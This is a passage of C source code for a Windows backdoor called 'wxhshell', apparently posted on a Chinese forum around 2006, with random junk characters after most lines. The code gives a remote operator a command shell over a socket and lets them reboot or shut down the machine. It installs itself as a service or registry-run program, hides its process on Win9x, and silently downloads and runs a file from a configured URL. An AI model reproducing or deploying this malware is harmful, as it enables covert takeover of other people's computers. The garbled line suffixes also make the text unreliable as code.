.KGW#Qk8  
    switch(cmd[0]) { _+S`[:;a  
  O$E3ry+?  
  // 帮助 ~C{d2i  
  case '?': { ~#&bDot  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +g<2t,  
    break; cn XIE{9M  
  } Fa,a)JY>  
  // 安装 9Y- Sqk+  
  case 'i': { jmmm0,#D  
    if(Install()) bg*4Z?[dd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?{BVWtl}  
    else l&(,$RmYp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 07DpvhDQ  
    break; |rka/_  
    } 8 =FP92X  
  // 卸载 KTD# a1W  
  case 'r': { "~9 !o"  
    if(Uninstall()) #{1w#Iz;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@RLS~Ej  
    else r+217fS>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KcglpKV`  
    break; E5UI  
    } zy~vw6vu  
  // 显示 wxhshell 所在路径 ji="vs=y  
  case 'p': { ~&[Wqn@MZ  
    char svExeFile[MAX_PATH]; **d3uc4y  
    strcpy(svExeFile,"\n\r"); d,CtlWp  
      strcat(svExeFile,ExeFile); N Q_H-D\,  
        send(wsh,svExeFile,strlen(svExeFile),0); }xn\.M:ic  
    break; V{p*N*  
    } + O=wKsGD  
  // 重启 F``$}]9KHD  
  case 'b': { #Sr_PEo _  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -LJbx<'  
    if(Boot(REBOOT)) I#zrz3WU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kS+n_*  
    else { U,yU-8z/  
    closesocket(wsh); $(H%|Oyn  
    ExitThread(0); -~~"}u  
    } -tAdA2?G  
    break; mVg-z~44T  
    } <LIL{g0eX  
  // 关机 UJ 1iXV[h"  
  case 'd': { BK]bSj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n$g g$<  
    if(Boot(SHUTDOWN)) DnS# cs~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=U3o=-:  
    else { ,o& &d.  
    closesocket(wsh); ^&MMtWR  
    ExitThread(0); 3 k py3z[%  
    } jxU1u"WU  
    break; 7"Sw))H|  
    } <[ />M  
  // 获取shell l&S2.sC  
  case 's': { 1P:r=Rt/  
    CmdShell(wsh);  AC@WhL  
    closesocket(wsh); o7)<pfif  
    ExitThread(0); S#Tc{@e  
    break; l)m\i_r:  
  } U:ggZ`.  
  // 退出 0f}zm8p7.  
  case 'x': { NBuibL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1{i)7 :Y  
    CloseIt(wsh); Kv^ez%I  
    break; fNNkc[YTZI  
    } ,f8<s-y4Sg  
  // 离开 YQ9@Dk0R  
  case 'q': { ?Y7'OlO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q(4W /y  
    closesocket(wsh); Z{s&myd  
    WSACleanup(); \Y&*sfQ  
    exit(1); `,gGmh  
    break; o4,fwPkB  
        } &4Q(>"iL4  
  } 6!bp;iLKy  
  } ifTMoC%  
R]O!F)_/'  
  // 提示信息 kwU~kcM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +e?mKLw14  
} eR P mN  
  } p%toD{$  
8d|omqe~P  
  return; *{8<4CVv  
} bCr) 3,  
<NZ^*]  
// shell模块句柄 -.-j e"E  
int CmdShell(SOCKET sock) ,e{(r0  
{ 83~ Gu[  
STARTUPINFO si; .V G$`g"  
ZeroMemory(&si,sizeof(si)); M3c!SXx\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DFKFsu8s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4A6D>ChB'E  
PROCESS_INFORMATION ProcessInfo; Vw.c05x  
char cmdline[]="cmd"; X~|P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @FVan  
  return 0; ~WXT0-,  
} NSH20$A<  
}_93}e  
// 自身启动模式 B?`n@/  
int StartFromService(void) rqbX9M^  
{ _9!*laR!2  
typedef struct 8 #fzL7  
{ 7hwl[knyB  
  DWORD ExitStatus; Y^80@MJ  
  DWORD PebBaseAddress; hT4 u;3xE  
  DWORD AffinityMask; gdkl,z3N3  
  DWORD BasePriority; q$FwO"dC  
  ULONG UniqueProcessId;  SbQ Ri  
  ULONG InheritedFromUniqueProcessId; k~f3~-"  
}   PROCESS_BASIC_INFORMATION; /+2;".  
&~VWh}=r  
PROCNTQSIP NtQueryInformationProcess; ]vj4E"2;  
v$c*3H.seM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fq(r,h=|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Kjrk7GAx  
vFz%#zk>  
  HANDLE             hProcess; e=K2]Y Q{  
  PROCESS_BASIC_INFORMATION pbi; PkA_uDhw  
y+xw`gR:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0!X;C!v;  
  if(NULL == hInst ) return 0; H%N !;Jz=  
par| j]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gI8r SmH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &Fo)ea  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PhBdm'  
}% (e`[?1  
  if (!NtQueryInformationProcess) return 0; ;AyE(|U+  
W/_=S+CvK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lg` Qi&  
  if(!hProcess) return 0; >;V ? s]  
#U45H.Rz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]"bkB+I  
9Fb|B  
  CloseHandle(hProcess); :N03$Tvl  
[0|g3K !A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UB[tYZ  
if(hProcess==NULL) return 0; rmpx8C Y"  
k8fvg4  
HMODULE hMod; o=i)s2   
char procName[255]; +E8 \g  
unsigned long cbNeeded; )6mx\t  
8 tq6.%\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f1GV6/| m  
<L|eY(:  
  CloseHandle(hProcess); s/[15  
0tbximmDb  
if(strstr(procName,"services")) return 1; // 以服务启动 i*3 4/  
wn*<.s  
  return 0; // 注册表启动 0l-m:6  
} ghvF%-."1  
DVCO( fz  
// 主模块 ,4dES|)sP  
int StartWxhshell(LPSTR lpCmdLine) ?"MJ'u  
{ Y4*ezt:;Q  
  SOCKET wsl; tI50z khaB  
BOOL val=TRUE; r,}U-S.w  
  int port=0; xK4b(KJj  
  struct sockaddr_in door; Cb}hE ro  
,VZ;=  
  if(wscfg.ws_autoins) Install(); j" wX7  
YrAaL"20  
port=atoi(lpCmdLine); T' O5> e  
OiPE,sv  
if(port<=0) port=wscfg.ws_port; *&p`8:  
+ $i-"^  
  WSADATA data; ,arFR'u>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }'HJVB_  
>XzCHtEP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v4]7"7GuW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qx,?v|Xg  
  door.sin_family = AF_INET; V0hC[Ilr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sO7$b@"u.  
  door.sin_port = htons(port); @91Q=S  
#6g-{OBv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :`BZ,j_  
closesocket(wsl); b_ 88o-*/  
return 1; m~s.al(G91  
} !>XG$-$`Z  
B ;Zsp  
  if(listen(wsl,2) == INVALID_SOCKET) { 6itp Mck  
closesocket(wsl); SI_{%~k*B  
return 1; u@d`$]/>F  
} vUa~PN+Iy  
  Wxhshell(wsl); 4-^LC<}k  
  WSACleanup(); g Z3VT{  
/BC(O[P  
return 0; ;u;YfOr  
>L$g ;(g  
} n"B"Aysz  
R03V+t=  
// 以NT服务方式启动 Bvx%|:R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >o{(f  
{ F5Ce:+h  
DWORD   status = 0; =\s(v-8  
  DWORD   specificError = 0xfffffff; $-""=O|"   
~7PPB|XY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w-Zb($_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #BK\cIr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5A]IiX4Z  
  serviceStatus.dwWin32ExitCode     = 0; Zf;1U98oC  
  serviceStatus.dwServiceSpecificExitCode = 0; (:3rANY|  
  serviceStatus.dwCheckPoint       = 0; |6LC>'  
  serviceStatus.dwWaitHint       = 0; ;w1?EdaO  
S3nA}1R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F?2(U\k#  
  if (hServiceStatusHandle==0) return; vPuPSE%M  
xM85^B'  
status = GetLastError(); ?! dp0<  
  if (status!=NO_ERROR) @Tmqw(n{  
{ ` c~:3^?9d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :w_J/k5Zd  
    serviceStatus.dwCheckPoint       = 0; hNXP-s  
    serviceStatus.dwWaitHint       = 0; e"en ma\_  
    serviceStatus.dwWin32ExitCode     = status; -05zcIVo  
    serviceStatus.dwServiceSpecificExitCode = specificError; GRz`fO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eN]0]9JO  
    return; s]Z/0:`  
  } Y604peUF  
{xr!H-9ZAA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JBQ,rX_Hw  
  serviceStatus.dwCheckPoint       = 0; R{S{N2+p(  
  serviceStatus.dwWaitHint       = 0; M@@"-dy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bG nBV7b  
} =g' 7 xA  
Mj5=t:MI  
// 处理NT服务事件,比如:启动、停止 Ni IX^&N1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N(mhgC<O  
{ -[OGZP`8  
switch(fdwControl) *1iJa  
{  K9  
case SERVICE_CONTROL_STOP: %Bg} a  
  serviceStatus.dwWin32ExitCode = 0; NwM=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -WP_0  
  serviceStatus.dwCheckPoint   = 0; UMUr"-l =  
  serviceStatus.dwWaitHint     = 0; * EOIgQp  
  { }_}C ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ >#?C*s  
  } 04NI.Jv  
  return; !$hrK6o  
case SERVICE_CONTROL_PAUSE: `9b/Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k{Yj!C> #  
  break; 4VLrl8$K  
case SERVICE_CONTROL_CONTINUE: cF_`m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5{qFKo"g@,  
  break; w'ZL'/d  
case SERVICE_CONTROL_INTERROGATE: EL80f>K  
  break; +g ovnx  
}; lwPK^)|}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I"*g-ji0  
} /HH5Mn*  
(qHI>3tpY  
// 标准应用程序主函数 T#?KY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2-nL2f!a{p  
{ cX"[#Em#  
(i>VJr  
// 获取操作系统版本 Zeyhr\T  
OsIsNt=GetOsVer(); rFZB6A<(]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5~4I.+~8  
dsqqq,>Q  
  // 从命令行安装 f33'2PYl  
  if(strpbrk(lpCmdLine,"iI")) Install(); x, a[ p\1  
95^w" [}4Q  
  // 下载执行文件 h";G vjy  
if(wscfg.ws_downexe) { ("o <D{A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y>Q9?>}Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); P"W$ZX  
} ;^xlDN  
ftF?T.dx  
if(!OsIsNt) { {'G@-+K  
// 如果时win9x,隐藏进程并且设置为注册表启动 h;f5@#F  
HideProc(); iyrUY  
StartWxhshell(lpCmdLine); orf21N+[  
} `ysPEwA|  
else y!GjC]/  
  if(StartFromService()) \\ M2_mT  
  // 以服务方式启动 5gZ0a4  
  StartServiceCtrlDispatcher(DispatchTable); K,%H*1YKK  
else IJO`"da  
  // 普通方式启动 vp &jSfQ^  
  StartWxhshell(lpCmdLine); |332G64K  
]"q[hF*PM  
return 0; t`+x5*g W  
}
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只看该作者 1 发表于: 2006-10-10
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